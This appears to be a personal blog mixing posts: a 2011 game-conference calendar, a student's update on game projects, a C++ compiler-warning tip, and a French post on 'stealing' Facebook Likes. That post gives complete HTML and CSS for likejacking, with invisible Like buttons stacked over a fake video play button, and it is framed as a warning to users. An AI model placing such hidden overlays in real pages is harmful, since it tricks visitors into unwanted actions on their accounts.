L’E3 fraîchement terminé, je mettais à jour mon calendrier Google avec les dates des principales conférences et conventions du monde du jeu vidéo et de la 3D temps réel qui étaient à venir, principalement celles en France, mais aussi les gros évènements mondiaux. Je me suis dis que, quitte à l’avoir fait, autant le partager :)

Août 2011 :
7 Août – 11 Août : Siggraph 2011 – Vancouver Convention Centre, Canada
15 Août – 17 Août : Game Developers Conference (GDC) Europe 2011 – Congress-Centrum Ost Koelnmesse, Cologne, Germany
17 Août – 21 Août : GamesCom – Koelnmesse GmbH, Messeplatz 1, 50679 Cologne, Germany

Septembre 2011 :
7 Septembre – 9 Septembre : Theory and Practice of Computer Graphics (TP.CG) – The University of Warwick, England
15 Septembre – 18 Septembre : Tokyo Game Show 2011 – Makuhari Messe, Mihama-ku, Chiba City, Japan
21 Septembre – 23 Septembre : Pacific Graphics 2011 – Kaohsiung, Taiwan
22 Septembre – 25 Septembre : Eurogamer Expo 2011 – The Brompton Hall, Earls Court, Warwick Road, London, England

Octobre 2011 :
21 Octobre – 25 Octobre : Paris Game Week – Hall 3, Paris, Porte de Versaille, France

Novembre 2011 :
16 Novembre – 20 Novembre : Montpellier in Game – Corum, Montpellier, France
26 Novembre – 27 Novembre : Toulouse Game Show 2011 – Diagora, Toulouse Labège, France

Décembre 2011 :
12 Décembre – 15 Décembre : Siggraph Asia 2011 – Hong Kong Convention & Exhibition Centre, Hong Kong

Ça y est, je viens de terminer mon Master Programmation et Développement en Conception et Intégration Multimédia.

Je suis actuellement en stage en tant que programmeur outils dans un studio de création graphique et interactive lyonnais, Bento-Studio.
J’y développe des outils pour le moteur de jeu Unity3D, qui seront disponible sur l’Asset Store, une sorte d’AppStore pour Unity3D. Je vous tiendrez au courant des avancées.

Mais cette année à Gamagora m’a permis de réaliser plusieurs projets en rapport avec le monde du jeu vidéo, dont notamment deux (démos de) jeux vidéo.

Tout d’abord, The Watchman – Tales of Turtle Bay, un jeu pour smartphone développé en 1 mois, en utilisant le portage de l’ActionScript 3/AIR vers Android, avec un outil (Flash Builder) vraiment en beta. The Watchman a fait l’occasion de quelques articles que je n’ai eu le temps de finir (malheureusement). Ce projet fut l’occasion de me confronter au rythme de production, de comprendre les erreurs à ne pas reproduire et de mettre en place les outils indispensables pour une production.
J’y ai eu un rôle hybride, mêlant R&D, IA, Outils, Gestion des interactions utilisateurs et Profiling.
Le jeu est toujours en alpha, mais je ne désespère pas qu’un jour, on le reprendra et on le proposera sur l’Android Market.

Mais j’ai également fait parti de l’aventure JomOH, Journeys of my Old Hag.
JomOH, c’est un Beat ‘em up 3D pour PC ( avec UDK ) où l’humour est omni-présent. J’essairai Je dois faire un article dessus quand j’aurai un moment.
Encore une fois, comme pour The Watchman, nous étions confronté à un langage/moteur que nous ne connaissions pas avant de débuter le projet. Nous avons dû apprendre « sur le tas ».
Sur ce projet de 3 mois, je me suis frotté principalement à la gestion complète des ennemis, allant du comportement de groupe, aux stratégies d’attaques.

La démo de JomOh est disponible gratuitement, et vous plongera pour 15 minutes d’aventure avec Henry et Huguette, deux retraités fuyant une multinationale spécialisée dans les traitements contre la vieillesse.

Pour ce qui se profile à l’horizon, je vais essayer d’actualiser un peu plus mon blog, notamment en vous parlant de mes projets personnels et professionnels. See you soon

Comment voler des « Like » sur Facebook

Posted: 6th mars 2011 by Jérémy Levallois in PHP-SQL
Tags: , , , , , , , ,

Avant toute chose, cet article à pour but d’informer les utilisateurs de Facebook des dangers que ce dernier laisse passer.

Vous avez regardé une vidéo qu’un de vos contacts à mis sur Facebook, et étrangement vous avez « aimé » la vidéo sans le vouloir ?
Je vais vous montrer comment vous pouvez très facilement voler des « Like » de vos liens sur Facebook.

Facebook autorise les développeurs web à utiliser un plugin social qui permet d’interagir, depuis un site extérieur, à votre compte Facebook.
Cela va du Bouton Like, aux commentaires directs utilisant votre véritable nom et prénom !

Maintenant, en utilisant une faille à ce système, il est possible de cacher aux visiteurs des boutons Like.
Pour se faire, il faut avec un zone où les utilisateurs devront cliquer, par exemple le bouton play d’une fausse vidéo. C’est cet exemple que je vais montrer.

Cliquez ici pour voir l’exemple. Si vous cliquez sur le boutons Play, vous pourrez voir sur votre compte Facebook que vous aimez la page http://www.karganys.fr/php/comment-voler-des-like-sur-facebook
Tant que vous ne cliquerez pas sur le bouton Play, il ne se passera rien sur votre compte Facebook, n’ayez pas peur :)

Regardons plus en détail le code source :

  1.         <head>
  2.                 <link rel="stylesheet" href="mycss.css" type="text/css">
  3.         </link></head>
  4.         <body>
  5.                 <div id="play_img">
  6.                         <div style="width:120px;height:115px;opacity:0">
  7.                                 <div style="width:56px;height:115px;margin-left:7px;float:left">
  8.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  9.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  10.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  11.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  12.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  13.                                 </div>
  14.  
  15.                                 <div style="width:57px;height:115px;float:left">
  16.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  17.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  18.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  19.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  20.                                         <script src="http://connect.facebook.net/fr_FR/all.js#xfbml=1"></script><fb:like href="http://www.karganys.fr/php/comment-voler-des-like-sur-facebook" layout="button_count" show_faces="true" font="tahoma"></fb:like>
  21.                                 </div>
  22.                         </div>
  23.                 </div>
  24.         </body>
  25. </html>

et le css associé

  1. #play_img{width:124px;height:111px;padding-top:4px;margin-left:248px;margin-top:135px;background:url(‘play.png’) no-repeat top left}

Les balises script affichent un bouton Like avec en paramètre la page à aimer. Nous surchargeons l’image avec des boutons Like.
Ensuite, nous cachons toutes les images des boutons Like avec l’attribut CSS opacity:0, ce qui le rend « invisible » à l’œil, mais toujours présent.

Vous pouvez voir ici la même page, mais sans l’attribut opacity

Cette faille est utilisée par quelques sites, comme AmbianceBuzz.net qui, soit dit en passant, averti en bas de sa page

Le bouton lecture de nos vidéos peut éventuellement partager notre vidéo à vos amis sur Facebook

Comment contourner ça ? Pour l’instant, la seule solution possible est de se déconnecter de Facebook dès lors que l’on ne l’utilise plus.
Ou encore mieux : Fermer son compte Facebook

Source : Code source d’AmbianceBuzz.net

Hi !

If you compile your project in Warning Level 4 /W4 (Project > Properties > C/C++ > General > Warning Level : Level4 (/W4) in Visual Studio), you have probably seen this warning :

Warning 2 warning C4100: ‘var’ : unreferenced formal parameter

You think your code hasn’t error (like unused stack variable for example), and you don’t know why this warning is here ? It might be some unused function parameters.

Example :

  1. void callAWarning(int a)
  2. {
  3.         //some stuff without a variable
  4. }
  5.  

And when you compile :
Warning 2 warning C4100: 'a' : unreferenced formal parameter

Now how to resolve this warning ?
Simply by using the macro UNREFERENCED_PARAMETER().

  1. void callAWarning(int a)
  2. {
  3.         UNREFERENCED_PARAMETER ( a );
  4.         //some stuff without a variable
  5. }
  6.  

PS: If you have the error : « Error 2 error C3861: ‘UNREFERENCED_PARAMETER’: identifier not found« , just add this #define into your project :

  1. #define UNREFERENCED_PARAMETER  ( P )      (void)(P)

PS2 : The default warning level in Visual Studio is Warning Level 3, but I recommend you to use Warning Level 4 for your projects, because it’s the more strict compilation level and allow you to track any mistakes, as MSDN says :

For a new project, it may be best to use /W4 in all compilations. This will ensure the fewest possible hard-to-find code defects.

Source : MSDN | DELL